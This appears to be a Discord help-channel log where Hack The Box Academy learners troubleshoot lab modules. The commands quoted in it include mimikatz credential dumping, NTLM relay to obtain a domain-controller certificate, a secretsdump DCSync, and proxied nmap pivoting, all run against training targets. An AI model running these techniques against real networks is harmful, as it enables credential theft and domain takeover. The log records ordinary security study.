Start with the InfoSec module, thats the best thing to do, it doesn't overwhelm you with that much numbers, and its very fundamental, and then you can go back to the networking module. If you have already done the "Introduction to InfoSec", then you could probably do the introduction to linux module first

Im pretty new too, so take it with a grain of salt

[gray yacht]

Go to #welcome and follow the provided steps to get access to more channels.

[fierce vale]

hi. I’m working on Windows Lateral Movement module. I’m on the Skills Assesment. Would like to ask a clarifying question about the second flag if anybody would be willing to give me a pointer. Thanks 🙂

[tall imp]

photo from module?

[fierce vale]

talk in DM?

[tall imp]

yes

[tall imp]

talk me

[silent isle]

Good night! Please help me, I can't find the password in question 1.
https://academy.hackthebox.com/module/147/section/1334

[gray yacht]

Some easy host based enumeration that leads you to something you can read should get some information to check out.

[fierce vale]

is it alright if I send you a DM?

[gray yacht]

Yeah that's fine

[plain summit]

In

AD Enumeration & Attacks - Skills Assessment Part II
Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

I'm trying to run https://github.com/ParrotSec/mimikatz/tree/master/Win32 version in mimikatz in the msfconsole windows shell but I keep getting this

This version of C:\mimikatz.exe is not compatible with the version of Windows you're running. Check your computer's system information and then contact the software publisher.

message even though the service is running in

C:\Windows\system32

[cloud urchin]

Try from the official repository or the one from the module

[atomic spade]

Yo

[plain summit]

Tysm

In AD Enumeration & Attacks - Skills Assessment Part II Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

I'm getting an error when running

sekurlsa::logonpasswords

ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process

oh shoot I forgot to do the pid thing

[winter glade]

I am mega stuck on this questions: Try to bypass the client-side file type validations in the above exercise, then upload a web shell to read /flag.txt

I am in the file upload attacks section (client-side validation) I have followed the instructions to a T and nothing is working.

[plain summit]

Didn't fix it

[shadow phoenix]

Hi everyone, I'm stuck in the first phase of the "Skills Assessment" section of the "WhiteBox Attacks" module, as I've tried to bypass authentication using "Type Juggling" and the username "Larry" with several wordlists, but I haven't been successful. Could someone please give me a clue?

[tidal thorn]

Hey guys is there a mod here?

I wanna give u some information on a person using this server as a bait to text people offering hacking services and scamming them and I’d like to report it as this is against the rules

[cloud urchin]

Are they in this server? If not, there's not a whole lot we can do.

[fathom pendant]

If they have a website /spoiler (click the one that says "hackster")

[flint palm]

some guy appears periodically and puts some phishing links I have seen him

[jolly elm]

Looks like there are NaN values in your label column. You may want to fill those NaN with fillna function of dataframe

[heavy torrent]

Hey folks / Mods ... how common is Unconstrained Delegation - Users?

I honestly never seen that at work.

I finished the section. But I was puzzled to find this, to be honest.

[fathom pendant]

It actually happens relatively frequently, you don't need a mod/admin to tell you that though

That's more a q for people that work in the field

[plain summit]

Why do I get this error when the target system is windows 32

[fathom pendant]

Read the error more carefully

You're using a 32bit binary to try and access a 64bit program

In other words: an impossible situation

x64 can read x32, but x32(x86) cannot read x64

[plain summit]

I'll use 64 version.

My errors are so simple looking back.

I'll lyk if it works. Taking an eating break.

[tidal thorn]

they r yeah

[full echo]

Take a look at the code, there's a piece of information needed to construct a http request.

Build number can be viewed in the Settings.

[full echo]

Build number can be viewed in the Settings of the AVD.

[cerulean bramble]

Thanks! I'll have to look into that tomorrow. My internet is currently down.

[cloud urchin]

ok dm me the details then

[tidal thorn]

apparenly they left

[cloud urchin]

alright not a lot i can do then

[eager spindle]

Isn't this right?

[fathom pendant]

edition

[eager spindle]

Thanks

[fathom pendant]

Try not tp spoil modules above t0

[plain summit]

How do I solve the problem

I'm trying to do a thing with crackmapexec in the deleted post but I'm getting the status_logon_failure error

[cloud urchin]

That means the logon was not successful

[plain summit]

The main issue is that the module solution has those credentials as the main login.

[cloud urchin]

oh idk i didn't use the solution

probably a mistake or something

[plain summit]

Probably. The main way still works.

[fathom pendant]

Try not tp spoil modules above t0

[prisma dew]

Is anyone able to access the target machine in CPTS Module Password Attacks: Attacking Windows Credential Manager. I'm unable to access, ping, or RDP into the target machine for this specific module. This issue seems to be isolated to this module, as I am able to access the target machines in other modules without any difficulty.

[worthy sorrel]

It’s not about rdp..do something else run nmap there are many ports

There is a switch in nmap which doesn’t need pinging and also if issue still persist reset the machine or download new vpn config tcp one

[hushed sierra]

Hi, I'm with the Wi-Fi Penetration Testing Basics module, and at the Bypassing Mac Filtering section I have a problem. The second question requests connecting to 5G network, but I can't. I have bypassed the MAC filtering, but it prompts for a password. There isn't any wordlist or something like that in this machine, so I can't make a dictionary attack to gather the WPA2 key. Is there any problem with that? Has anyone resolved it?

[frosty crescent]

Is there a maintained version of PowerSploit/PowerView ?

[cloud urchin]

No

[frosty crescent]

😔

[cloud urchin]

Don't think so

[frosty crescent]

Thanks anyways

NetExec took over CrackMapExec so I was hoping something similar here

[rustic sage]

guys there a problem with the module
https://academy.hackthebox.com/module/296/section/3403

i copied the first line of the file i found and it's not the correct answer

[cloud urchin]

Re-read the section again. It tells you the password.

[rustic sage]

SuperNuts, may you help me out? The module is super easy but it doesn't seem like it gives me answer to submit it in. The whole literal line 1 of the file was copied and it doesnt work when i put it in

[cloud urchin]

just post in here and someone may help

#modules message

Pinned comment

[rustic sage]

is this fine to send? im njot sure if it spoils it really

but it doesn't work

[cloud urchin]

i haven't done that module so idk

[rustic sage]

actually it does spoil it

[cloud urchin]

that's a tier 0 module

[rustic sage]

Oh it is?

[cloud urchin]

which means you can post stuff about it

[rustic sage]

o okay perfect

https://academy.hackthebox.com/module/296/section/3403
Module: Pentest in a Nutshell
Section: Windows Vulnerability Assessment
Question: What is the content of the first line in the healthcheck.log file on the Windows target?

apparently what i got isnt the answer

[cloud urchin]

look at the very first line of the section

[rustic sage]

i looked at the first line

[cloud urchin]

no, on the page you're learning from. go over the section again.

[frosty crescent]

I'm doing the AD ACL module of the CPTS path, why did the line below only work with -Credential set but not logged in as the same user (damundsen) ?
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose

[rustic sage]

Okay

[rustic sage]

im so confused

[cloud urchin]

i told you. read the very first line in the section you're working on.

[sonic thicket]

Hey guys

What is fastest & effective way to learn... Is starting from htb academy or go through htb labs to struggle & learn?

[tall aspen]

Heyo
Is general locked??

[sonic thicket]

Idk im new here

[tall aspen]

same

i was here on my old acc but switched

[sonic thicket]

Oh i see

[tall aspen]

hm I think academy is best

But im not too experienced

[sonic thicket]

U think so?

[tall aspen]

yeaa #general

[cloud urchin]

Read the #rules and follow the instructions in #welcome to gain access.

[tall aspen]

yea cause you get the basics if youre a super beginner

[tall aspen]

oh aight thanks so much dude

[sonic thicket]

Like having basics is more important

[tall aspen]

definitely learn that before advancing

[sonic thicket]

Thanks bro

What ur rank in labs?

[cloud urchin]

This channel is dedicated for discussion of modules on Academy, please take this convo to #general

[rustic sage]

I still have no idea

can u nudge me a bit more please im so lost

[cloud urchin]

you're not looking in the right place

[rustic sage]

It dont make sense the question lit asks for the contents of the first line IN the file, no?

[cloud urchin]

Bruh I handed you the answer on a silver platter. Did you re-read the literaly first thing the module tells you and combine it with my hint that you're no in the right place?

[hushed sierra]

Thanks, I'll do it

[hushed sierra]

Thanks @cloud urchin , finally I solved it and I've finished the module. I tried that password before, but it didn't work for me. I don't understand why, perhaps I didn't the MAC bypass properly

[cloud urchin]

Glad you got it

[uneven lichen]

Yes, not showing the profiling output. Did you find a fix? Edit: Had to add all DNS names.

[agile mountain]

Please, the Password Attacks' skills assessment; when trying to enumerate the internal hosts, it would always return that the ports are filtered! are there special flags I need to use? Note: I am using SOCKS PROXY!

[autumn pilot]

are you using proxychains to perform the network ports scan?

[agile mountain]

Yes! Because I can only access the DMZ01 VPN interface not the internal one!

[autumn pilot]

So, a couple of questions:

1. Are you using the provided workstation in Academy, e.g., the pwnbox?
   1.1. If yes, run proxychains with sudo
2. Are you performing a TCP scan using the appropriate parameter in nmap?

[agile mountain]

No. I am using my own VM not the pwnbox. Below is the nmap command I use:
proxychains4 nmap 172.16.119.10 -sT -Pn -n --open --stats-every=30s --disable-arp-ping -sV -O -T3

[autumn pilot]

Modify the command to enumerate ports that are the most common onces that you can think of, such as 80, 135, 443, 445 and so on

as to build a proof-of-concept that works, if that doesn't work, check your proxychains' configuration

[agile mountain]

Alright; Thank you so much. I do appreciate!

[brave dust]

Hi, I'm new here so I'm not sure if this is the right place to ask but I'm having some troubles in the "pentest in a nutshell" module, could anyone help me or point me in the right direction of where to go?

My problem is in the section "Linux System Enumeration": https://academy.hackthebox.com/module/296/section/3396

The first command I'm supposed to run is to download LinPEAS from GitHub using the following command:
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

however, when I run that command the connection keeps timing out and I don't know what is causing it, if I open the browser on the machine and try to manually search for GitHub it also times out so I'm not sure if that is normal and my issue lies elsewhere or if that is the issue

[last musk]

I am stuck on Attacking Common Applications Exploiting Web Vulnerabilities in Thick-Client Applications I cant download the fatty-server.jar file even if I recomple the code

https://academy.hackthebox.com/module/113/section/2164

[wooden seal]

can i dm someone regarding AEN i am confused due to subnetting
nvm got it

[kind iris]

hello, i have a question that could be simple but i can't figure it out. i am doing the skills assessment of the linux privilege esclation module, last flag (/root folder). i used a vulnerability for the OS to become root. i try id and get id=0(root) gid=0(root) groups=0(root). i ugrade to a full interactive tty with python3. then i cd to /root and i get permission denied. i am root, why can't i access?

[cobalt aspen]

Can I DM you, I'm facing the same issue?

[dull sparrow]

If you are doing the LLM Output Attacks skills assessment make sure you are** logged in** with the provided credentials. I just spent a whole day trying to figure it out from an un authed position and it made me so mad because all I had to do was read the instructions 😒😒😒😒😒😒😒😒😒😒

[opal shuttle]

hii, i need help regarding the module ATTACKING COMMON SERVICES...I AM STUCK AT SQL

any type of help will be much appriciated

[calm sun]

i have big problem with windows attack defense module, cannot connet to rdp. Tried changing vpn configs, reseting target, tried both from gui app from cli nothing. Also tried both native rdp and xfreerdp https://academy.hackthebox.com/module/176/section/1779

Yesterday it worked but when i connect it, use it for 5 mins and it just restarts

and my internet is pretty stable but tried changing that too and nothing

terrible module which i need to complete before doing my cdsa

[gray yacht]

Yeah you can DM.

[opal shuttle]

bro can u pls help me in attack common services module

[gray yacht]

I can try, go ahead and DM unless you can explain what the issue is without spoiling.

[west stratus]

so I've been learning ligolo-ng after doing the pivoting lab and i was wondering if anyone could explain a bit about the networking behind the reverse shells for me. say there is a machine on 10.0.0.0/8 subnet and I am on a 172.16.1.0/24 subnet when accessing it, and there is an internal network on 192.168.220.0/24, when I use ligolo-ng to access it, for some reason I am able to get a reverse shell back from another machine in the internal network(not where my ligolo agent is) when I call back to my 172 ip. I was wondering how do the machines in the internal network send packets back to me if they are not cconnected to me?

[worthy sorrel]

Use ligolo bro it is not mentioned in module but it is the best for pivoting it will give issues for rdp then use timeout:60000

[drowsy raptor]

maybe its some kind of cleanup script? What did you do to become root exactly?

[worthy sorrel]

What is the tool you are using and what is the error you are facing

[worthy sorrel]

Can you elaborate it bit more

[west stratus]

so my ip is 172.16.1.2, and the machine I set up ligolo agent is 10.50.50.50, and I can access this normally. this machine is connected to an internal network on the 192.168.220.0/24 range, so then I got access to a machine in the internal network, and I ran a reverse shell using the 172.16.1.2 as the callback ip and it somehow works, but I don't get why it should work

how does the machine in the internal network know how to route the packets to 172.16.1.2

[worthy sorrel]

Oh okay got it so what’s happening behind the scene is when you are running reverse shell you are giving ip of your attack host so when payload get executed it sends the connection back to the 10.50.50.50 machine where agent is running and via agent you get the reverse shell of it because agent route the traffic back to the attack host

[drowsy raptor]

Uh you'd typically need an agent in the target machine to get it to call back

[worthy sorrel]

Same as when we run rdp from our machine once we set route in our kali or attack box

[waxen totem]

Well Ligolo is what's routin your traffic here, in essence it serves as a virtual cable to the 192.x network. The ip address ranges aren't really too important as long as there's a route which ligolo or whatever networking device handles which\ allows you to connect to 10.x from 172.x
TLDR: which network you're in doesn't matter if you have proper routing setup which ligolo takes care of

[worthy sorrel]

If any issue dm me I’ll explain it via graph

[severe jewel]

I give up zZ any one know the answer to snort fundamentals zz it’s been 4months and I still can’t get it I don’t know what I’m doing zZ

[worthy sorrel]

Also watch this

https://youtu.be/qou7shRlX_s?si=S17-LKlWza9g-49P

[kind iris]

i used this one liner: https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation/tree/main

[drowsy raptor]

Personally proxychains > ligolo for me 🤣

(skill issue)

[worthy sorrel]

How can you see the nmap result man🤣🤣

[drowsy raptor]

Easily

[worthy sorrel]

It did made my job easy in one of the module but Idk I like ligolo it is good for double, triple hops

We just have to use timeout that’s the only issue for now

[drowsy raptor]

If it's more than a double hop I'd use Ligolo tbh

[wheat silo]

Hey I'm working on the Pass the Certificate section in the Password Attacks module (https://academy.hackthebox.com/module/147/section/1335) I tried the NTLM Relay Attack method but once I force a connection to ntlmrelayx it times out and doesn't produce a certificate. For the shadow credentials method when I try to run evil-winrm it says Cannot find KDC for realm "INLANEFREIGHT.LOCAL" . I made sure I added the hosts to /etc/hosts and made the changes needed to /etc/krb5.conf so I'm not sure where i'm going wrong here. Please advise, Thanks!

[rustic sage]

Why did I get an incorrect answer, in fact, I input the correct answer like, HTB{.......}

[worthy sorrel]

Could you share error

[plain summit]

Is Bloodhound preinstalled in HTB pwnbox?

[worn sun]

maybe make sure that in the /etc/hosts file, the ip address is the dc01 ip address and not the CA service ip address

[plain summit]

I get this error when trying to run Bloodhound in my pwnbox:

Docker is installed on this system, but the daemon is not running.

Is there a fix for this?

[west stratus]

thanks I get it now. I was being a dumbass, the 10.50.50.50 machine has virtualbox and all those machines in the internal network are virtualized under it so ofc they go through the host machine and then they know how to get back to me

[worn sun]

try and manually start the service for the bloodhound application

[wheat silo]

this is what my /etc/hosts looks like

[west stratus]

shouldn't it be .local not .htb

[worn sun]

yea should be .local

inlanefreight.local and dc01.inlanefreight.local

[wheat silo]

gotchu I'll try that

[worn sun]

also as someone above said make sure that it is also configured on ur /etc/krb5.conf

u can know how to do that from the previous section in the same module

[wheat silo]

I changed the /etc/krb5.conf and /etc/hosts to inlanefreight.local and got the same error. In the krb5.conf It's now:

[libdefaults] default_realm = INLANEFREIGHT.LOCAL

[plain summit]

I tried using ./bloodhound-cli but idk why the GUI isn't working.

[wheat silo]

I got it to work I had one more .HTB that i missed

[worn sun]

that's great

[wheat silo]

Thanks for the help!

[worn sun]

ofc

[worn sun]

i am not that familiar with bloohound tbh, but maybe try and find a way to install it manually if docker isn't working, or reinstall it again

[wheat silo]

Yeah most of that was there by default so I didn't touch it

[stark prism]

Hi

[hexed oyster]

Still struggling with "Web Services and API attacks", whenever I try to send a request to the target, I only get 500 responses. When I send a SOAP request for an action, am I supposed to send it to the http://target:port/wsdl?wsdl or is there a better endpoint I'm supposed to send those to?

This is the script I'm using to test this out on, If someone would be kind enough to give me a sanity check and make sure I'm not doing something obviously wrong, I'd really appreciate it.

[merry crag]

Im stuck on this too. Ive gone through the AD CS NTLM Relay Attack (ESC8) section and gotten /tmp/dc.ccache but it doesnt let me get the Administrator NT hash. Am i supposed to privesc through jesse?

[tranquil wren]

Hello, I am on the Attacking Active Directory and NTDS.dit module https://academy.hackthebox.com/module/147/section/1326, I am on Q4. I have created the shadow copy, however, when I am trying to copy the NTDS.dit file it is responding with 'the process cannot access the file because it is being used by another process.' I wasn't sure if i should try killing the process on the target because i didn't want booted out or anything. Also, i think the hint on Q4 is actually meant for Q3...

[merry crag]

make sure to properly configure krb5.conf and /etc/hosts

[merry crag]

This is going to make my break my setup

[sinful ermine]

Is there just a general lag to the academy domain ATM? I'm looking at 100mb download speed but nothing is really moving well in regards to any modules, refreshes etc.

[wheat silo]

When I run ntlmrelayx it connects but never gives any output other than SMBD-Thread-10 (process_request_thread): Received connection from 10.129.234.174, attacking target http://10.129.234.174

[merry crag]

I got that error too the second time. I was able to do it successfully the first time but the second time I was getting an error and I reset it and it worked. I am still not able to get the Admin NT hash

[plain summit]

Bro this is so scuffed

[dapper mason]

Command Injections
Page 12
Skills Assessment
What is the content of '/flag.txt'? i swear ive found the flag im sure of it but its telling me its incorrect any help ?

[wild sage]

Make sure you don't have any additional spaces at the beginning or the end of the flag

[dapper mason]

tried that, its giving me a visual obfuscation for flag as 'f1l3' i feel like thats the problem

[upper hedge]

Hola Amigos,

I'm currently engaged with the Hacking Wordpress module and it seems like the module is broken.
I'm stuck at the User Enumeration section, i'm trying the same blog.inlanefreight.com to enumerate all users but there is no user present over there, not even admin. Moreover, the subdomain is directed to www.
Again, i tried with both module methods {curl -s -I http://blog.inlanefreight.com/?author=1 & curl http://blog.inlanefreight.com/wp-json/wp/v2/users | jq} but all negative.

Is there something really going for this module or am i just making a blunder!!

[twilit wharf]

I just passed the skills assessment part of MSSQL, Exchange, and SCCM Attacks. The last 2 flags were pretty much accessible at the same step, so I am wondering if this was intentional? It feels like the SCCM part of the skills assessment was cut short ...

[plain summit]

Can I get HTB pwnbox bloodhound neo4j default server user and password please?

[merry crag]

neo4j:neo4j

[upper hedge]

Someone Please

[plain summit]

tysm

[sick falcon]

I'm having difficulty with that too. I dumped the hashes on J01 and I accessed DC01 with s**m's credentials and dumped the hashes there but none seem correct. I saw that you solved it later with a hash you had already tried. Can you give a small hint just in case I'm having the same problem (maybe send a PM).

[upper hedge]

Done, i was making just extreme blunder

[solemn wing]

Can anyone tell me which module has more content and new stuffs to learn : "Intro to Python3" or "Password Attacks" from TIER I

[plain summit]

My data is not uploading to bloodhound in pwnbox. I am uploading from a local folder to bolt://localhost:7687. How do I fix this?

[sharp notch]

Hwy

[fathom pendant]

they have different things to learn, not necessarily "more and new"

if you know nothing about py3, then all of the intro module will be new to you

[sharp notch]

I spent 4 hrs on the public exploit module by overthinking and had to use a hint … should I be mad at myself ? Me repeating all these basic scans tho got it engrained in my mind now

[fathom pendant]

you're just starting out, you're bound to overlook simple things

sometimes we just need a push in the right direction because we get too caught up and narrowed down

a simple shortcut to remember is that (typically, unless otherwise specified) ip:port when you spawn target => web

[wheat silo]

does anyone know how to fix this issue with ntlmrelayx, I've tried restarting the box a few times but this same error comes up whenever I try to run it. I can force a connection with printerbug.py but ntlmrelayx just times out without returning a certificate.

[plain summit]

Do not upload computers.json

[fathom pendant]

it's likely because it's not launching an http server, the pwnbox is running a service on port 80 (it's what serves the pwnbox to your browser) iirc you can change that port with a flag

[wheat silo]

does it matter what port?

[sharp notch]

I was running a bunch of banner and nmap scans and looking into the ports instead of just looking at the plugin they use shown in the site lol way overthunk it

[fathom pendant]

just one that isn't in use, but i'd stick with the standard non-defaults -- 8000,8080

[languid ridge]

Hi, I'm working on the following question of the Dynamic Port Forwarding with SSH and SOCKS Tunneling part of the Pivoting, Tunneling, and Port Forwarding module :

Apply the concepts taught in this section to pivot to the internal network and use RDP (credentials: victor:pass@123) to take control of the Windows target on 172.16.5.19. Submit the contents of Flag.txt located on the Desktop.

I established a SOCKS tunnel with : ssh -D 9050 ubuntu@10.129.249.17
I checked /etc/proxychains.conf : tail -4 /etc/proxychains.conf
socks4 127.0.0.1 9050

But when I nmap to scan the internal target : proxychains nmap -vv -Pn -sT 172.16.5.19

No open port shows up, but we know from the question port 3389 is open. I can RDP to it using proxychains xfreerdp /v:<IP> /u:<USER> /p:<PASS>, but I can't find the port with nmap. Any idea why ?

[fathom pendant]

make sure the socks5 one is commented out

but nmap and proxychains can be iffy at best sometimes

[languid ridge]

I checked, there is no such line on my config

[fathom pendant]

try scanning for the port directly

-p 3389

[languid ridge]

It shows as filtered

[fathom pendant]

filtered != closed

you're making a common mistake

filtered just means the reply didn't come back as closed, but also no reply came back

[languid ridge]

But why do I get no response as I know it is open ?

[fathom pendant]

likely because the packet, for whatever reason, couldn't find its way back to you

[languid ridge]

So that's likely because of proxychains ?

[fathom pendant]

yes

[languid ridge]

Alright thank you, I'll try running it over and over to see if it comes back as open

[fathom pendant]

i wouldn't get too focused on it ¯_(ツ)_/¯

imho if you understand the basic principles of pivoting - ligolo-ng is far better and doesn't do any of that proxychains nonsense

also try with sudo

sudo proxychains nmap...

[languid ridge]

Ok I'll check it !

[languid ridge]

That was indeed the solution, thanks for your help

[flint palm]

Guys I don't see wlan0 interface on my vm

can anyone tell me how to install it

?

[fathom pendant]

Youd need an external wireless adapter

[flint palm]

and can't I use computer card for this?

[elder matrix]

can someone validate my hash?

[worn sun]

this is def not the hash

[elder matrix]

i know..i cant remove it

[worn sun]

this wasn't my answer too so i guess its wrong

[elder matrix]

i got system privileges on dc01.. .this is the first time i cant get the administrator domain admin hash lol

[worn sun]

try to review the section of the NDTS.DIT file

[elder matrix]

i didnt want any tips

thanks for ruining it

[worn sun]

this is not a tip tho u have the whole module in front of u

where would the answer be other than the module itself 🤷🏻‍♂️

[gray yacht]

Just DM me which section you did and the hash and I can compare it to mine.

[worn sun]

i didn't give u any methods, but sorry if that ruined ur process mb didn't mean it :/

[elder matrix]

no need.,. i deleted the message with the hash

[gray yacht]

You don't still have it?

Lol, I said to DM it. Which section was that from?

[elder matrix]

password attacks skills assessement

the new version

[gray yacht]

That does not match what I have. You can DM what you did.

[elder matrix]

no im just going to try everythign in the NDTS.DIT section

[fathom pendant]

@elder matrix in future, please don't share hashes -- even if only temporarily.

As a note ntlm hashes are formatted lm:nt

If lm is disabled; the lm portion will be the same for every user

If going through a proxy like burpsuite, it needs https

Also dont spoil module content

[wheat silo]

adding --http-port 8080 helped with the errors but it's still getting stuck here

[eager spindle]

ok

[merry crag]

your not using the domain controllers IP addres G

-t http: //domaincontrollerip/certserv/certfnsh.asp

[wheat silo]

thats the domain controller ip, I tried the other one which didn't work either

[merry crag]

Is this the Pass the Certificate in password attacks?

[wheat silo]

yeah

[merry crag]

Oh weird for me the targets are 10.129.234.174 and 10.129.234.172 each time I spawn them.

Oh my god Im so stupid. I have to use 10.129.234.172 to get the Administrator NT hash dont i

[wheat silo]

I just restarted the targets, gonna see if that works

[merry crag]

Ok I just did it. Do you wanna call and I can help you out?

Im working on the same module
r on port 6666

[] Servers started, waiting for connections
[] SMBD-Thread-5 (process_request_thread): Received connection from 10.129.234.174, attacking target http://10.129.234.172
[] HTTP server returned error code 200, treating as a successful login
[] Authenticating against http://10.129.234.172 as INLANEFREIGHT/DC01$ SUCCEED
[] SMBD-Thread-7 (process_request_thread): Received connection from 10.129.234.174, attacking target http://10.129.234.172
[-] Authenticating against http://10.129.234.172 as / FAILED
[] Generating CSR...
[] CSR generated!
[] Getting certificate...
[] GOT CERTIFICATE! ID 13
[] Writing PKCS#12 certificate to ./DC01$.pfx
[*] Certificate successfully written to file

[wheat silo]

Im gonna give it one more try. If that doesn't work I'll dm you

[merry crag]

the issue looks like its in ur impacket-ntlmrelayx command.

the -t option should NOT be the domain controller.

[wheat silo]

It's supposed to be CA01 ?

[merry crag]

-t = target URL or host that you want to forward the captured NTLM authentication to.

However after I get the dc.ccache file I cant perform a DCSync attack to get the NT hash of the domain admin account
impacket-secretsdump -k -no-pass -dc-ip 10.129.234.174 -just-dc-user Administrator 'INLANEFREIGHT.LOCAL/DC01$'@DC01.INLANEFREIGHT.LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[] Using the DRSUAPI method to get NTDS.DIT secrets
[-] 'NoneType' object has no attribute 'getRemoteHost'
[] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[] Cleaning up...
(.venv) ┌─[us-academy-1]─[10.10.15.130]─[htb-ac-1369176@htb-qxdliwg7t8]─[~/PKINITtools]
└──╼ [★]$

Is this not the intended path?

[grave thistle]

hi! im doing academy Windows Attacks & Defense skills assessment but keep getting this error when RDP in to the windows box (WS001) - "The trust relationship between this workstation and the primary domain failed"

[wheat silo]

Ok I figured out where I was going wrong with ntlmrelayx

[dapper mason]

can anyone give some advice or pointers on Command Injections
Page 12
Skills Assessment
What is the content of '/flag.txt'?

[merry crag]

Im still stuck on this

[hollow kernel]

hi anyone can help me in password attack module

I try to this but i cant

y try to do --format=ripemd-128 but doesnt work

[merry crag]

OK I just did it and it worked. I have no clue why or what I did differently so Im just gonna celebrate sadly i guess.

[rustic sage]

Module bugged as hell.

[merry crag]

i did it.

[wheat silo]

I got the NTLM hash I'm just trying to crack it now

[fathom pendant]

Not bugged, the related hashes/info is in the reading

[merry crag]

You dont need to just PtH

[fathom pendant]

^

[rustic sage]

I mean the the green check. 😄

It says completed, I didn't even submit answers.

[fathom pendant]

Did you do the module previously?

[hollow kernel]

I did it

[merry crag]

I have no clue why my shi wasnt working. I must have been doing something wrong but I guess i did it

[rustic sage]

Could be. Did they change it?

[hollow kernel]

thanks anyway

[fathom pendant]

Yes

[rustic sage]

That's why then.

[wheat silo]

Oh true

[devout lily]

Hi everyone, i have just started the service scanning module in Penetration Testing path and i set a VPN connection using openvpn. Can someone explain me why this host in unreacheable?

Tell me if u need more

If i run nc to the host 94.237.123.118 : 44269 it works, giving me the banner of the service

Copy and paste the command written on the module

[final moth]

M

Im not really here to hack anything im mostly here to ask someone a favor

[devout lily]

I have a question, each machine has its own VPN?

[final moth]

I would ask in genral but i cant use it

K thanks

[flint palm]

No each machine doesn't but generally each module has you can download vpn file when you starting the module and it will serve you until you finish the module sometimes vpn's from other modules also work

[devout lily]

If i download the VPN file fron the lab i cant use it for the academy?

Maybe this is the problem, where i can download the file for the academy?

[flint palm]

in the bottom of each section of the module you will see a button download vpn file

[devout lily]

Is this one?

[flint palm]

yes this one

on kali linux this file is usually downloaded to home/user/Downloads folder and you can simply start it with the command openvpn /path/ to the vpn file

[final moth]

I think im strait up dumb

I dont know how to verify myself

[devout lily]

I have downloaded this file, connected using sudo openvpn but when i run nmap 10.129.42.253 it says me that the host seems down. nmap 10.129.42.253 is the first command shown on this module

[final moth]

Wait what kind of hacking is done here i dont anything about it

[flint palm]

sometimes it happens here that hosts are down

[final moth]

Im just trying to get back at someone in a harmless way

Oh sorry i didnt know mb

Ill leave then

[cloud urchin]

yep

[devout lily]

On the htb i see my connection active, on the academy i dont see it but i have just set the connection, as you have seen

[cloud urchin]

sudo killall -9 openvpn

that screen shot shows 3 VPN connections

[devout lily]

Ok, how can see if there is no connections more?

[cloud urchin]

ip a

although you will need to open a single vpn connection afterwards

[devout lily]

On the htb, i still see the active connection

If i run ip a and i dont ser tun interfaces

[cloud urchin]

now only connect one time and you should be fine

also don't use the pwnbox at the same time as the VPN if you are using the pwnbox too

[devout lily]

Im tryng

[fathom pendant]

is that the target when you click click here to spawn target?

don't use both the labs and academy vpn at the same time

[devout lily]

No, this is a command on the explaination

[fathom pendant]

then that's why you're not connecting/seeing it

the example ip is just an EXAMPLE

[devout lily]

Lol

Sorry im new here

I thought that command is a "real command", ready to try

[fathom pendant]

always use the ip that's given after you click here to spawn target

it is a real command

you just need to replace the example ip with the spawned ip

[formal oriole]

Is anyone else working on Attacking Common Applications Module and have horrendous connections issues with the target machines

[devout lily]

I have used that command

[devout lily]

🙏🏻🙏🏻

[fathom pendant]

again the 10.129.42.253 is an example you need to replace it with whatever 10.129.x.x ip is given

another tip (and this is something you'd learn from the Introduction to academy module) is that if the module gives you an ip:port -- that is your only scope, you do NOT scan the ip, as it's a public container and your scope is solely the port given

but the examples won't always be 1 to 1 what you need to do

sometimes you need to modify slightly

[devout lily]

This because i want to scan just the specific service and not the entire host right?

[fathom pendant]

often you won't need to nmap scan the port, as you'll be given enough context from the module on what to do

and often it involves using web reconnaissance

[devout lily]

This the result of ifconfig after i have set connection with academy VPN, is it correct?

[fathom pendant]

ye that looks fine

¯_(ツ)_/¯

[devout lily]

Yes but there appears the network 10.10 and the IP spawned on the exercise of the module is 10.129

[fathom pendant]

correct

because there's backend routing that makes that happen

[devout lily]

Because i have connected to a VPN server that set my IP at 10.10, and the target is 10.129?

[fathom pendant]

iirc the users get assigned 10.10.0.0/16 and the machine spawns are 10.129.0.0/16 (if on the private lab network)

[fathom pendant]

yes there's backend routing that allows you to connect to the 10.129 target

[devout lily]

Seems its working, really appreciate your help🙏🏻

[fathom pendant]

they shouldn't be outdated if you feel it's an error that hasn't already been reported -> #1234357888114364508

[fleet moth]

anyone here finished the Information Gathering - Web Edition module, and could write me a PM? I could use some help with answers to these messed up Wayback Machine questions... 🙄

[fathom pendant]

they aren't messed up

if you're referring to the question regarding hackthebox, htb didn't always use .com

[fleet moth]

man this is some unnecessary waste of time with all these Wayback Machine question imho

8questions to wayback machine

[fathom pendant]

¯_(ツ)_/¯

[fleet moth]

but thanks for the hint

[fathom pendant]

it's all useful to kinda get an idea of historical OSINT

[fleet moth]

yea i get it, and i agree

just it does not need 8 questions

2-3 is enough

[fathom pendant]

/feedback exists :) (in this server)

[inland shuttle]

Hello, in windows event logs skills assessment, I am wondering what the difference is between using FilterHashtable or not, because it looks like both outputs in powershell are the same? Just curious if there’s a specific reason why you might need to add that to a search

[cloud urchin]

https://learn.microsoft.com/en-us/powershell/scripting/samples/creating-get-winevent-queries-with-filterhashtable?view=powershell-7.5

[ocean minnow]

Anyone backed the artificial easy machine box that can help me out?

[cloud urchin]

#boxes

[ocean minnow]

I can’t see

[cloud urchin]

You'll need to follow the instructions in #welcome to access

[ocean minnow]

Ok

[marsh fossil]

?

[whole hollow]

?

[left lintel]

Can I DM anyone about Using Crackmapexec skill assessment?

[supple dragon]

You can DM me

[fervent path]

Can anyone from Europe or US DM me ?

[autumn pilot]

any reason for that?

[dense lava]

am on the last step of the windows lateral movement skills assessment, could i get a slight nudge? im pulling my hair out here

[silent isle]

Good day! Guys, please help me, I can't figure out what the login is for ssh.
Skills Assessment - Password Attacks
https://academy.hackthebox.com/module/147/section/1356

[fathom pendant]

you mean the foothold? try generating usernames

[silent isle]

I tried, it didn't work

[fathom pendant]

i used username-anarchy iirc; you don't have to think about a password

(the reading brief explicitly gives you that info)

[silent isle]

Okay, I'll try.

@fathom pendant Thank you very much! I found it!

[supple dragon]

